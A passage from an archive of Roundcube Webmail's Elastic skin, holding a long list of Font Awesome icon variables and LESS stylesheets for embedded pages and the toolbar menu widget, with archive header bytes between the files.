@fa-var-info-circle: "\f05a";
@fa-var-instagram: "\f16d";
@fa-var-intercom: "\f7af";
@fa-var-internet-explorer: "\f26b";
@fa-var-invision: "\f7b0";
@fa-var-ioxhost: "\f208";
@fa-var-italic: "\f033";
@fa-var-itch-io: "\f83a";
@fa-var-itunes: "\f3b4";
@fa-var-itunes-note: "\f3b5";
@fa-var-java: "\f4e4";
@fa-var-jedi: "\f669";
@fa-var-jedi-order: "\f50e";
@fa-var-jenkins: "\f3b6";
@fa-var-jira: "\f7b1";
@fa-var-joget: "\f3b7";
@fa-var-joint: "\f595";
@fa-var-joomla: "\f1aa";
@fa-var-journal-whills: "\f66a";
@fa-var-js: "\f3b8";
@fa-var-js-square: "\f3b9";
@fa-var-jsfiddle: "\f1cc";
@fa-var-kaaba: "\f66b";
@fa-var-kaggle: "\f5fa";
@fa-var-key: "\f084";
@fa-var-keybase: "\f4f5";
@fa-var-keyboard: "\f11c";
@fa-var-keycdn: "\f3ba";
@fa-var-khanda: "\f66d";
@fa-var-kickstarter: "\f3bb";
@fa-var-kickstarter-k: "\f3bc";
@fa-var-kiss: "\f596";
@fa-var-kiss-beam: "\f597";
@fa-var-kiss-wink-heart: "\f598";
@fa-var-kiwi-bird: "\f535";
@fa-var-korvue: "\f42f";
@fa-var-landmark: "\f66f";
@fa-var-language: "\f1ab";
@fa-var-laptop: "\f109";
@fa-var-laptop-code: "\f5fc";
@fa-var-laptop-medical: "\f812";
@fa-var-laravel: "\f3bd";
@fa-var-lastfm: "\f202";
@fa-var-lastfm-square: "\f203";
@fa-var-laugh: "\f599";
@fa-var-laugh-beam: "\f59a";
@fa-var-laugh-squint: "\f59b";
@fa-var-laugh-wink: "\f59c";
@fa-var-layer-group: "\f5fd";
@fa-var-leaf: "\f06c";
@fa-var-leanpub: "\f212";
@fa-var-lemon: "\f094";
@fa-var-less: "\f41d";
@fa-var-less-than: "\f536";
@fa-var-less-than-equal: "\f537";
@fa-var-level-down-alt: "\f3be";
@fa-var-level-up-alt: "\f3bf";
@fa-var-life-ring: "\f1cd";
@fa-var-lightbulb: "\f0eb";
@fa-var-line: "\f3c0";
@fa-var-link: "\f0c1";
@fa-var-linkedin: "\f08c";
@fa-var-linkedin-in: "\f0e1";
@fa-var-linode: "\f2b8";
@fa-var-linux: "\f17c";
@fa-var-lira-sign: "\f195";
@fa-var-list: "\f03a";
@fa-var-list-alt: "\f022";
@fa-var-list-ol: "\f0cb";
@fa-var-list-ul: "\f0ca";
@fa-var-location-arrow: "\f124";
@fa-var-lock: "\f023";
@fa-var-lock-open: "\f3c1";
@fa-var-long-arrow-alt-down: "\f309";
@fa-var-long-arrow-alt-left: "\f30a";
@fa-var-long-arrow-alt-right: "\f30b";
@fa-var-long-arrow-alt-up: "\f30c";
@fa-var-low-vision: "\f2a8";
@fa-var-luggage-cart: "\f59d";
@fa-var-lyft: "\f3c3";
@fa-var-magento: "\f3c4";
@fa-var-magic: "\f0d0";
@fa-var-magnet: "\f076";
@fa-var-mail-bulk: "\f674";
@fa-var-mailchimp: "\f59e";
@fa-var-male: "\f183";
@fa-var-mandalorian: "\f50f";
@fa-var-map: "\f279";
@fa-var-map-marked: "\f59f";
@fa-var-map-marked-alt: "\f5a0";
@fa-var-map-marker: "\f041";
@fa-var-map-marker-alt: "\f3c5";
@fa-var-map-pin: "\f276";
@fa-var-map-signs: "\f277";
@fa-var-markdown: "\f60f";
@fa-var-marker: "\f5a1";
@fa-var-mars: "\f222";
@fa-var-mars-double: "\f227";
@fa-var-mars-stroke: "\f229";
@fa-var-mars-stroke-h: "\f22b";
@fa-var-mars-stroke-v: "\f22a";
@fa-var-mask: "\f6fa";
@fa-var-mastodon: "\f4f6";
@fa-var-maxcdn: "\f136";
@fa-var-medal: "\f5a2";
@fa-var-medapps: "\f3c6";
@fa-var-medium: "\f23a";
@fa-var-medium-m: "\f3c7";
@fa-var-medkit: "\f0fa";
@fa-var-medrt: "\f3c8";
@fa-var-meetup: "\f2e0";
@fa-var-megaport: "\f5a3";
@fa-var-meh: "\f11a";
@fa-var-meh-blank: "\f5a4";
@fa-var-meh-rolling-eyes: "\f5a5";
@fa-var-memory: "\f538";
@fa-var-mendeley: "\f7b3";
@fa-var-menorah: "\f676";
@fa-var-mercury: "\f223";
@fa-var-meteor: "\f753";
@fa-var-microchip: "\f2db";
@fa-var-microphone: "\f130";
@fa-var-microphone-alt: "\f3c9";
@fa-var-microphone-alt-slash: "\f539";
@fa-var-microphone-slash: "\f131";
@fa-var-microscope: "\f610";
@fa-var-microsoft: "\f3ca";
@fa-var-minus: "\f068";
@fa-var-minus-circle: "\f056";
@fa-var-minus-square: "\f146";
@fa-var-mitten: "\f7b5";
@fa-var-mix: "\f3cb";
@fa-var-mixcloud: "\f289";
@fa-var-mizuni: "\f3cc";
@fa-var-mobile: "\f10b";
@fa-var-mobile-alt: "\f3cd";
@fa-var-modx: "\f285";
@fa-var-monero: "\f3d0";
@fa-var-money-bill: "\f0d6";
@fa-var-money-bill-alt: "\f3d1";
@fa-var-money-bill-wave: "\f53a";
@fa-var-money-bill-wave-alt: "\f53b";
@fa-var-money-check: "\f53c";
@fa-var-money-check-alt: "\f53d";
@fa-var-monument: "\f5a6";
@fa-var-moon: "\f186";
@fa-var-mortar-pestle: "\f5a7";
@fa-var-mosque: "\f678";
@fa-var-motorcycle: "\f21c";
@fa-var-mountain: "\f6fc";
@fa-var-mouse-pointer: "\f245";
@fa-var-mug-hot: "\f7b6";
@fa-var-music: "\f001";
@fa-var-napster: "\f3d2";
@fa-var-neos: "\f612";
@fa-var-network-wired: "\f6ff";
@fa-var-neuter: "\f22c";
@fa-var-newspaper: "\f1ea";
@fa-var-nimblr: "\f5a8";
@fa-var-node: "\f419";
@fa-var-node-js: "\f3d3";
@fa-var-not-equal: "\f53e";
@fa-var-notes-medical: "\f481";
@fa-var-npm: "\f3d4";
@fa-var-ns8: "\f3d5";
@fa-var-nutritionix: "\f3d6";
@fa-var-object-group: "\f247";
@fa-var-object-ungroup: "\f248";
@fa-var-odnoklassniki: "\f263";
@fa-var-odnoklassniki-square: "\f264";
@fa-var-oil-can: "\f613";
@fa-var-old-republic: "\f510";
@fa-var-om: "\f679";
@fa-var-opencart: "\f23d";
@fa-var-openid: "\f19b";
@fa-var-opera: "\f26a";
@fa-var-optin-monster: "\f23c";
@fa-var-osi: "\f41a";
@fa-var-otter: "\f700";
@fa-var-outdent: "\f03b";
@fa-var-page4: "\f3d7";
@fa-var-pagelines: "\f18c";
@fa-var-pager: "\f815";
@fa-var-paint-brush: "\f1fc";
@fa-var-paint-roller: "\f5aa";
@fa-var-palette: "\f53f";
@fa-var-palfed: "\f3d8";
@fa-var-pallet: "\f482";
@fa-var-paper-plane: "\f1d8";
@fa-var-paperclip: "\f0c6";
@fa-var-parachute-box: "\f4cd";
@fa-var-paragraph: "\f1dd";
@fa-var-parking: "\f540";
@fa-var-passport: "\f5ab";
@fa-var-pastafarianism: "\f67b";
@fa-var-paste: "\f0ea";
@fa-var-patreon: "\f3d9";
@fa-var-pause: "\f04c";
@fa-var-pause-circle: "\f28b";
@fa-var-paw: "\f1b0";
@fa-var-paypal: "\f1ed";
@fa-var-peace: "\f67c";
@fa-var-pen: "\f304";
@fa-var-pen-alt: "\f305";
@fa-var-pen-fancy: "\f5ac";
@fa-var-pen-nib: "\f5ad";
@fa-var-pen-square: "\f14b";
@fa-var-pencil-alt: "\f303";
@fa-var-pencil-ruler: "\f5ae";
@fa-var-penny-arcade: "\f704";
@fa-var-people-carry: "\f4ce";
@fa-var-pepper-hot: "\f816";
@fa-var-percent: "\f295";
@fa-var-percentage: "\f541";
@fa-var-periscope: "\f3da";
@fa-var-person-booth: "\f756";
@fa-var-phabricator: "\f3db";
@fa-var-phoenix-framework: "\f3dc";
@fa-var-phoenix-squadron: "\f511";
@fa-var-phone: "\f095";
@fa-var-phone-alt: "\f879";
@fa-var-phone-slash: "\f3dd";
@fa-var-phone-square: "\f098";
@fa-var-phone-square-alt: "\f87b";
@fa-var-phone-volume: "\f2a0";
@fa-var-photo-video: "\f87c";
@fa-var-php: "\f457";
@fa-var-pied-piper: "\f2ae";
@fa-var-pied-piper-alt: "\f1a8";
@fa-var-pied-piper-hat: "\f4e5";
@fa-var-pied-piper-pp: "\f1a7";
@fa-var-piggy-bank: "\f4d3";
@fa-var-pills: "\f484";
@fa-var-pinterest: "\f0d2";
@fa-var-pinterest-p: "\f231";
@fa-var-pinterest-square: "\f0d3";
@fa-var-pizza-slice: "\f818";
@fa-var-place-of-worship: "\f67f";
@fa-var-plane: "\f072";
@fa-var-plane-arrival: "\f5af";
@fa-var-plane-departure: "\f5b0";
@fa-var-play: "\f04b";
@fa-var-play-circle: "\f144";
@fa-var-playstation: "\f3df";
@fa-var-plug: "\f1e6";
@fa-var-plus: "\f067";
@fa-var-plus-circle: "\f055";
@fa-var-plus-square: "\f0fe";
@fa-var-podcast: "\f2ce";
@fa-var-poll: "\f681";
@fa-var-poll-h: "\f682";
@fa-var-poo: "\f2fe";
@fa-var-poo-storm: "\f75a";
@fa-var-poop: "\f619";
@fa-var-portrait: "\f3e0";
@fa-var-pound-sign: "\f154";
@fa-var-power-off: "\f011";
@fa-var-pray: "\f683";
@fa-var-praying-hands: "\f684";
@fa-var-prescription: "\f5b1";
@fa-var-prescription-bottle: "\f485";
@fa-var-prescription-bottle-alt: "\f486";
@fa-var-print: "\f02f";
@fa-var-procedures: "\f487";
@fa-var-product-hunt: "\f288";
@fa-var-project-diagram: "\f542";
@fa-var-pushed: "\f3e1";
@fa-var-puzzle-piece: "\f12e";
@fa-var-python: "\f3e2";
@fa-var-qq: "\f1d6";
@fa-var-qrcode: "\f029";
@fa-var-question: "\f128";
@fa-var-question-circle: "\f059";
@fa-var-quidditch: "\f458";
@fa-var-quinscape: "\f459";
@fa-var-quora: "\f2c4";
@fa-var-quote-left: "\f10d";
@fa-var-quote-right: "\f10e";
@fa-var-quran: "\f687";
@fa-var-r-project: "\f4f7";
@fa-var-radiation: "\f7b9";
@fa-var-radiation-alt: "\f7ba";
@fa-var-rainbow: "\f75b";
@fa-var-random: "\f074";
@fa-var-raspberry-pi: "\f7bb";
@fa-var-ravelry: "\f2d9";
@fa-var-react: "\f41b";
@fa-var-reacteurope: "\f75d";
@fa-var-readme: "\f4d5";
@fa-var-rebel: "\f1d0";
@fa-var-receipt: "\f543";
@fa-var-recycle: "\f1b8";
@fa-var-red-river: "\f3e3";
@fa-var-reddit: "\f1a1";
@fa-var-reddit-alien: "\f281";
@fa-var-reddit-square: "\f1a2";
@fa-var-redhat: "\f7bc";
@fa-var-redo: "\f01e";
@fa-var-redo-alt: "\f2f9";
@fa-var-registered: "\f25d";
@fa-var-remove-format: "\f87d";
@fa-var-renren: "\f18b";
@fa-var-reply: "\f3e5";
@fa-var-reply-all: "\f122";
@fa-var-replyd: "\f3e6";
@fa-var-republican: "\f75e";
@fa-var-researchgate: "\f4f8";
@fa-var-resolving: "\f3e7";
@fa-var-restroom: "\f7bd";
@fa-var-retweet: "\f079";
@fa-var-rev: "\f5b2";
@fa-var-ribbon: "\f4d6";
@fa-var-ring: "\f70b";
@fa-var-road: "\f018";
@fa-var-robot: "\f544";
@fa-var-rocket: "\f135";
@fa-var-rocketchat: "\f3e8";
@fa-var-rockrms: "\f3e9";
@fa-var-route: "\f4d7";
@fa-var-rss: "\f09e";
@fa-var-rss-square: "\f143";
@fa-var-ruble-sign: "\f158";
@fa-var-ruler: "\f545";
@fa-var-ruler-combined: "\f546";
@fa-var-ruler-horizontal: "\f547";
@fa-var-ruler-vertical: "\f548";
@fa-var-running: "\f70c";
@fa-var-rupee-sign: "\f156";
@fa-var-sad-cry: "\f5b3";
@fa-var-sad-tear: "\f5b4";
@fa-var-safari: "\f267";
@fa-var-salesforce: "\f83b";
@fa-var-sass: "\f41e";
@fa-var-satellite: "\f7bf";
@fa-var-satellite-dish: "\f7c0";
@fa-var-save: "\f0c7";
@fa-var-schlix: "\f3ea";
@fa-var-school: "\f549";
@fa-var-screwdriver: "\f54a";
@fa-var-scribd: "\f28a";
@fa-var-scroll: "\f70e";
@fa-var-sd-card: "\f7c2";
@fa-var-search: "\f002";
@fa-var-search-dollar: "\f688";
@fa-var-search-location: "\f689";
@fa-var-search-minus: "\f010";
@fa-var-search-plus: "\f00e";
@fa-var-searchengin: "\f3eb";
@fa-var-seedling: "\f4d8";
@fa-var-sellcast: "\f2da";
@fa-var-sellsy: "\f213";
@fa-var-server: "\f233";
@fa-var-servicestack: "\f3ec";
@fa-var-shapes: "\f61f";
@fa-var-share: "\f064";
@fa-var-share-alt: "\f1e0";
@fa-var-share-alt-square: "\f1e1";
@fa-var-share-square: "\f14d";
@fa-var-shekel-sign: "\f20b";
@fa-var-shield-alt: "\f3ed";
@fa-var-ship: "\f21a";
@fa-var-shipping-fast: "\f48b";
@fa-var-shirtsinbulk: "\f214";
@fa-var-shoe-prints: "\f54b";
@fa-var-shopping-bag: "\f290";
@fa-var-shopping-basket: "\f291";
@fa-var-shopping-cart: "\f07a";
@fa-var-shopware: "\f5b5";
@fa-var-shower: "\f2cc";
@fa-var-shuttle-van: "\f5b6";
@fa-var-sign: "\f4d9";
@fa-var-sign-in-alt: "\f2f6";
@fa-var-sign-language: "\f2a7";
@fa-var-sign-out-alt: "\f2f5";
@fa-var-signal: "\f012";
@fa-var-signature: "\f5b7";
@fa-var-sim-card: "\f7c4";
@fa-var-simplybuilt: "\f215";
@fa-var-sistrix: "\f3ee";
@fa-var-sitemap: "\f0e8";
@fa-var-sith: "\f512";
@fa-var-skating: "\f7c5";
@fa-var-sketch: "\f7c6";
@fa-var-skiing: "\f7c9";
@fa-var-skiing-nordic: "\f7ca";
@fa-var-skull: "\f54c";
@fa-var-skull-crossbones: "\f714";
@fa-var-skyatlas: "\f216";
@fa-var-skype: "\f17e";
@fa-var-slack: "\f198";
@fa-var-slack-hash: "\f3ef";
@fa-var-slash: "\f715";
@fa-var-sleigh: "\f7cc";
@fa-var-sliders-h: "\f1de";
@fa-var-slideshare: "\f1e7";
@fa-var-smile: "\f118";
@fa-var-smile-beam: "\f5b8";
@fa-var-smile-wink: "\f4da";
@fa-var-smog: "\f75f";
@fa-var-smoking: "\f48d";
@fa-var-smoking-ban: "\f54d";
@fa-var-sms: "\f7cd";
@fa-var-snapchat: "\f2ab";
@fa-var-snapchat-ghost: "\f2ac";
@fa-var-snapchat-square: "\f2ad";
@fa-var-snowboarding: "\f7ce";
@fa-var-snowflake: "\f2dc";
@fa-var-snowman: "\f7d0";
@fa-var-snowplow: "\f7d2";
@fa-var-socks: "\f696";
@fa-var-solar-panel: "\f5ba";
@fa-var-sort: "\f0dc";
@fa-var-sort-alpha-down: "\f15d";
@fa-var-sort-alpha-down-alt: "\f881";
@fa-var-sort-alpha-up: "\f15e";
@fa-var-sort-alpha-up-alt: "\f882";
@fa-var-sort-amount-down: "\f160";
@fa-var-sort-amount-down-alt: "\f884";
@fa-var-sort-amount-up: "\f161";
@fa-var-sort-amount-up-alt: "\f885";
@fa-var-sort-down: "\f0dd";
@fa-var-sort-numeric-down: "\f162";
@fa-var-sort-numeric-down-alt: "\f886";
@fa-var-sort-numeric-up: "\f163";
@fa-var-sort-numeric-up-alt: "\f887";
@fa-var-sort-up: "\f0de";
@fa-var-soundcloud: "\f1be";
@fa-var-sourcetree: "\f7d3";
@fa-var-spa: "\f5bb";
@fa-var-space-shuttle: "\f197";
@fa-var-speakap: "\f3f3";
@fa-var-speaker-deck: "\f83c";
@fa-var-spell-check: "\f891";
@fa-var-spider: "\f717";
@fa-var-spinner: "\f110";
@fa-var-splotch: "\f5bc";
@fa-var-spotify: "\f1bc";
@fa-var-spray-can: "\f5bd";
@fa-var-square: "\f0c8";
@fa-var-square-full: "\f45c";
@fa-var-square-root-alt: "\f698";
@fa-var-squarespace: "\f5be";
@fa-var-stack-exchange: "\f18d";
@fa-var-stack-overflow: "\f16c";
@fa-var-stackpath: "\f842";
@fa-var-stamp: "\f5bf";
@fa-var-star: "\f005";
@fa-var-star-and-crescent: "\f699";
@fa-var-star-half: "\f089";
@fa-var-star-half-alt: "\f5c0";
@fa-var-star-of-david: "\f69a";
@fa-var-star-of-life: "\f621";
@fa-var-staylinked: "\f3f5";
@fa-var-steam: "\f1b6";
@fa-var-steam-square: "\f1b7";
@fa-var-steam-symbol: "\f3f6";
@fa-var-step-backward: "\f048";
@fa-var-step-forward: "\f051";
@fa-var-stethoscope: "\f0f1";
@fa-var-sticker-mule: "\f3f7";
@fa-var-sticky-note: "\f249";
@fa-var-stop: "\f04d";
@fa-var-stop-circle: "\f28d";
@fa-var-stopwatch: "\f2f2";
@fa-var-store: "\f54e";
@fa-var-store-alt: "\f54f";
@fa-var-strava: "\f428";
@fa-var-stream: "\f550";
@fa-var-street-view: "\f21d";
@fa-var-strikethrough: "\f0cc";
@fa-var-stripe: "\f429";
@fa-var-stripe-s: "\f42a";
@fa-var-stroopwafel: "\f551";
@fa-var-studiovinari: "\f3f8";
@fa-var-stumbleupon: "\f1a4";
@fa-var-stumbleupon-circle: "\f1a3";
@fa-var-subscript: "\f12c";
@fa-var-subway: "\f239";
@fa-var-suitcase: "\f0f2";
@fa-var-suitcase-rolling: "\f5c1";
@fa-var-sun: "\f185";
@fa-var-superpowers: "\f2dd";
@fa-var-superscript: "\f12b";
@fa-var-supple: "\f3f9";
@fa-var-surprise: "\f5c2";
@fa-var-suse: "\f7d6";
@fa-var-swatchbook: "\f5c3";
@fa-var-swimmer: "\f5c4";
@fa-var-swimming-pool: "\f5c5";
@fa-var-symfony: "\f83d";
@fa-var-synagogue: "\f69b";
@fa-var-sync: "\f021";
@fa-var-sync-alt: "\f2f1";
@fa-var-syringe: "\f48e";
@fa-var-table: "\f0ce";
@fa-var-table-tennis: "\f45d";
@fa-var-tablet: "\f10a";
@fa-var-tablet-alt: "\f3fa";
@fa-var-tablets: "\f490";
@fa-var-tachometer-alt: "\f3fd";
@fa-var-tag: "\f02b";
@fa-var-tags: "\f02c";
@fa-var-tape: "\f4db";
@fa-var-tasks: "\f0ae";
@fa-var-taxi: "\f1ba";
@fa-var-teamspeak: "\f4f9";
@fa-var-teeth: "\f62e";
@fa-var-teeth-open: "\f62f";
@fa-var-telegram: "\f2c6";
@fa-var-telegram-plane: "\f3fe";
@fa-var-temperature-high: "\f769";
@fa-var-temperature-low: "\f76b";
@fa-var-tencent-weibo: "\f1d5";
@fa-var-tenge: "\f7d7";
@fa-var-terminal: "\f120";
@fa-var-text-height: "\f034";
@fa-var-text-width: "\f035";
@fa-var-th: "\f00a";
@fa-var-th-large: "\f009";
@fa-var-th-list: "\f00b";
@fa-var-the-red-yeti: "\f69d";
@fa-var-theater-masks: "\f630";
@fa-var-themeco: "\f5c6";
@fa-var-themeisle: "\f2b2";
@fa-var-thermometer: "\f491";
@fa-var-thermometer-empty: "\f2cb";
@fa-var-thermometer-full: "\f2c7";
@fa-var-thermometer-half: "\f2c9";
@fa-var-thermometer-quarter: "\f2ca";
@fa-var-thermometer-three-quarters: "\f2c8";
@fa-var-think-peaks: "\f731";
@fa-var-thumbs-down: "\f165";
@fa-var-thumbs-up: "\f164";
@fa-var-thumbtack: "\f08d";
@fa-var-ticket-alt: "\f3ff";
@fa-var-times: "\f00d";
@fa-var-times-circle: "\f057";
@fa-var-tint: "\f043";
@fa-var-tint-slash: "\f5c7";
@fa-var-tired: "\f5c8";
@fa-var-toggle-off: "\f204";
@fa-var-toggle-on: "\f205";
@fa-var-toilet: "\f7d8";
@fa-var-toilet-paper: "\f71e";
@fa-var-toolbox: "\f552";
@fa-var-tools: "\f7d9";
@fa-var-tooth: "\f5c9";
@fa-var-torah: "\f6a0";
@fa-var-torii-gate: "\f6a1";
@fa-var-tractor: "\f722";
@fa-var-trade-federation: "\f513";
@fa-var-trademark: "\f25c";
@fa-var-traffic-light: "\f637";
@fa-var-train: "\f238";
@fa-var-tram: "\f7da";
@fa-var-transgender: "\f224";
@fa-var-transgender-alt: "\f225";
@fa-var-trash: "\f1f8";
@fa-var-trash-alt: "\f2ed";
@fa-var-trash-restore: "\f829";
@fa-var-trash-restore-alt: "\f82a";
@fa-var-tree: "\f1bb";
@fa-var-trello: "\f181";
@fa-var-tripadvisor: "\f262";
@fa-var-trophy: "\f091";
@fa-var-truck: "\f0d1";
@fa-var-truck-loading: "\f4de";
@fa-var-truck-monster: "\f63b";
@fa-var-truck-moving: "\f4df";
@fa-var-truck-pickup: "\f63c";
@fa-var-tshirt: "\f553";
@fa-var-tty: "\f1e4";
@fa-var-tumblr: "\f173";
@fa-var-tumblr-square: "\f174";
@fa-var-tv: "\f26c";
@fa-var-twitch: "\f1e8";
@fa-var-twitter: "\f099";
@fa-var-twitter-square: "\f081";
@fa-var-typo3: "\f42b";
@fa-var-uber: "\f402";
@fa-var-ubuntu: "\f7df";
@fa-var-uikit: "\f403";
@fa-var-umbrella: "\f0e9";
@fa-var-umbrella-beach: "\f5ca";
@fa-var-underline: "\f0cd";
@fa-var-undo: "\f0e2";
@fa-var-undo-alt: "\f2ea";
@fa-var-uniregistry: "\f404";
@fa-var-universal-access: "\f29a";
@fa-var-university: "\f19c";
@fa-var-unlink: "\f127";
@fa-var-unlock: "\f09c";
@fa-var-unlock-alt: "\f13e";
@fa-var-untappd: "\f405";
@fa-var-upload: "\f093";
@fa-var-ups: "\f7e0";
@fa-var-usb: "\f287";
@fa-var-user: "\f007";
@fa-var-user-alt: "\f406";
@fa-var-user-alt-slash: "\f4fa";
@fa-var-user-astronaut: "\f4fb";
@fa-var-user-check: "\f4fc";
@fa-var-user-circle: "\f2bd";
@fa-var-user-clock: "\f4fd";
@fa-var-user-cog: "\f4fe";
@fa-var-user-edit: "\f4ff";
@fa-var-user-friends: "\f500";
@fa-var-user-graduate: "\f501";
@fa-var-user-injured: "\f728";
@fa-var-user-lock: "\f502";
@fa-var-user-md: "\f0f0";
@fa-var-user-minus: "\f503";
@fa-var-user-ninja: "\f504";
@fa-var-user-nurse: "\f82f";
@fa-var-user-plus: "\f234";
@fa-var-user-secret: "\f21b";
@fa-var-user-shield: "\f505";
@fa-var-user-slash: "\f506";
@fa-var-user-tag: "\f507";
@fa-var-user-tie: "\f508";
@fa-var-user-times: "\f235";
@fa-var-users: "\f0c0";
@fa-var-users-cog: "\f509";
@fa-var-usps: "\f7e1";
@fa-var-ussunnah: "\f407";
@fa-var-utensil-spoon: "\f2e5";
@fa-var-utensils: "\f2e7";
@fa-var-vaadin: "\f408";
@fa-var-vector-square: "\f5cb";
@fa-var-venus: "\f221";
@fa-var-venus-double: "\f226";
@fa-var-venus-mars: "\f228";
@fa-var-viacoin: "\f237";
@fa-var-viadeo: "\f2a9";
@fa-var-viadeo-square: "\f2aa";
@fa-var-vial: "\f492";
@fa-var-vials: "\f493";
@fa-var-viber: "\f409";
@fa-var-video: "\f03d";
@fa-var-video-slash: "\f4e2";
@fa-var-vihara: "\f6a7";
@fa-var-vimeo: "\f40a";
@fa-var-vimeo-square: "\f194";
@fa-var-vimeo-v: "\f27d";
@fa-var-vine: "\f1ca";
@fa-var-vk: "\f189";
@fa-var-vnv: "\f40b";
@fa-var-voicemail: "\f897";
@fa-var-volleyball-ball: "\f45f";
@fa-var-volume-down: "\f027";
@fa-var-volume-mute: "\f6a9";
@fa-var-volume-off: "\f026";
@fa-var-volume-up: "\f028";
@fa-var-vote-yea: "\f772";
@fa-var-vr-cardboard: "\f729";
@fa-var-vuejs: "\f41f";
@fa-var-walking: "\f554";
@fa-var-wallet: "\f555";
@fa-var-warehouse: "\f494";
@fa-var-water: "\f773";
@fa-var-wave-square: "\f83e";
@fa-var-waze: "\f83f";
@fa-var-weebly: "\f5cc";
@fa-var-weibo: "\f18a";
@fa-var-weight: "\f496";
@fa-var-weight-hanging: "\f5cd";
@fa-var-weixin: "\f1d7";
@fa-var-whatsapp: "\f232";
@fa-var-whatsapp-square: "\f40c";
@fa-var-wheelchair: "\f193";
@fa-var-whmcs: "\f40d";
@fa-var-wifi: "\f1eb";
@fa-var-wikipedia-w: "\f266";
@fa-var-wind: "\f72e";
@fa-var-window-close: "\f410";
@fa-var-window-maximize: "\f2d0";
@fa-var-window-minimize: "\f2d1";
@fa-var-window-restore: "\f2d2";
@fa-var-windows: "\f17a";
@fa-var-wine-bottle: "\f72f";
@fa-var-wine-glass: "\f4e3";
@fa-var-wine-glass-alt: "\f5ce";
@fa-var-wix: "\f5cf";
@fa-var-wizards-of-the-coast: "\f730";
@fa-var-wolf-pack-battalion: "\f514";
@fa-var-won-sign: "\f159";
@fa-var-wordpress: "\f19a";
@fa-var-wordpress-simple: "\f411";
@fa-var-wpbeginner: "\f297";
@fa-var-wpexplorer: "\f2de";
@fa-var-wpforms: "\f298";
@fa-var-wpressr: "\f3e4";
@fa-var-wrench: "\f0ad";
@fa-var-x-ray: "\f497";
@fa-var-xbox: "\f412";
@fa-var-xing: "\f168";
@fa-var-xing-square: "\f169";
@fa-var-y-combinator: "\f23b";
@fa-var-yahoo: "\f19e";
@fa-var-yammer: "\f840";
@fa-var-yandex: "\f413";
@fa-var-yandex-international: "\f414";
@fa-var-yarn: "\f7e3";
@fa-var-yelp: "\f1e9";
@fa-var-yen-sign: "\f157";
@fa-var-yin-yang: "\f6ad";
@fa-var-yoast: "\f2b1";
@fa-var-youtube: "\f167";
@fa-var-youtube-square: "\f431";
@fa-var-zhihu: "\f63f";
PKh�\`jG-��skins/elastic/styles/embed.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

/* Style for embedded pages and TinyMCE editor content page */

@import "global";

.mce-content-body {
    margin: 4px;
    color: @color-input;

    div.pre {
        font-family: monospace;
    }

    blockquote {
        border-left: #1010ff 2px solid;
        margin: 0;
        padding: 0 0.4em;
    }
}

.rcmail-inline-message {
    .font-family();
    font-size: @page-font-size;
    padding: .5em;
    margin: 0 0 .5em 0;
    opacity: .95;
    color: @color-message;
    background-color: @color-message-warning-box-background;
    display: flex;
    align-items: center;

    &:before {
        .font-icon-class();
        font-size: 1.5em;
        line-height: 1;
        width: 1em;
        margin-right: .3em;
        content: @fa-var-exclamation-triangle;
        color: @color-message-warning;
    }

    span {
        line-height: 1.5;
    }

    a {
        color: @color-link;
    }

    a:hover {
        color: @color-link-hover;
    }

    button {
        vertical-align: middle;
        white-space: nowrap;
        padding: .375em .75em;
        margin-left: .5em;
        font-size: 1em;
        line-height: 1.5;
        border-radius: .25em;
        border: 1px solid transparent;
        color: @color-btn-primary;
        background: @color-btn-primary-background;

        &:focus {
            box-shadow: 0 0 0 .2rem fade(@color-btn-primary-background, 50%);
        }

        &:hover {
            background: darken(@color-btn-primary-background, 8%);
            border-color: darken(@color-btn-primary-background, 10%);
        }

        &:not([disabled]):not(.disabled):active {
            background: darken(@color-btn-primary-background, 11%);
            border-color: darken(@color-btn-primary-background, 13%);
            box-shadow: 0 0 0 .2rem fade(@color-btn-primary-background, 53%);
        }
    }
}

.rcmail-inline-buttons {
    margin: 0;
}
PKh�\�se�U�U&skins/elastic/styles/widgets/menu.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

/*** Toolbar widget ***/

.menu {
    margin: 0;
    text-align: center;
    white-space: nowrap;

    a {
        .overflow-ellipsis();
        text-decoration: none;

        &:before {
            &:extend(.font-icon-class);
            content: "\00a0"; // blank placeholder
        }

        &:hover,
        &:focus {
            outline: 0;
        }

        &:not(.disabled):focus,
        &:not(.disabled):hover {
            background-color: @color-toolbar-button-background-hover;
        }
    }

    &.toolbar {
        li {
            display: inline-block;
            height: @layout-touch-header-height;
        }

        a {
            color: @color-toolbar-button;
            display: block;
            float: left;
            border: 0 !important;
            height: @layout-header-height;
            min-width: 3.2rem;
            max-width: 6rem;
            width: auto; // reset width defined for links in .listing
            padding: .45rem;
            line-height: 1.5;
            cursor: pointer;
            font-size: 1rem;
            text-align: center;

            &:before {
                height: 1.75rem !important;
                float: none !important;
                width: auto !important;
                margin: 0 !important;
            }

            &.selected {
                color: @color-success;
            }
        }

        & > .spacer {
            width: 1em;
        }

        .dropbutton {
            &:not(.disabled):hover {
                background-color: @color-toolbar-button-background-hover;
            }

            a.dropdown {
                padding: 0 .3rem;

                &:before {
                    line-height: @layout-header-height;
                }

                &:hover {
                    background-color: darken(@color-toolbar-button-background-hover, 5%);
                }
            }
        }
    }

    span.inner {
        font-size: 90%;
        font-weight: normal;
    }

    .dropbutton {
        display: inline-block;

        a.dropdown {
            font-size: 75%;
            min-width: 0;

            html.ie11 &:before {
                font-size: 80%;
            }

            span.inner {
                display: none;
            }
        }

        a:first-child {
            padding-right: 0;
        }
    }

    &.pagenav {
        display: flex;
        justify-content: space-between;
        align-items: center;
        padding: 0 !important;
        font-size: 100%; // in case this is .footer.small

        a {
            flex-grow: 1;
            display: inline-block;
            min-width: 2rem !important;
            height: @layout-footer-small-height;
            color: @color-toolbar-button;

            &:before {
                margin: 0;
                display: inline;
                float: none;
                line-height: @layout-footer-small-height;
            }
        }

        .pagenav-text {
            .overflow-ellipsis();
            color: @color-list-pagenav;
            flex-grow: 4;
            font-size: 80%;
        }

        input {
            width: 3rem;
            max-width: 5rem;
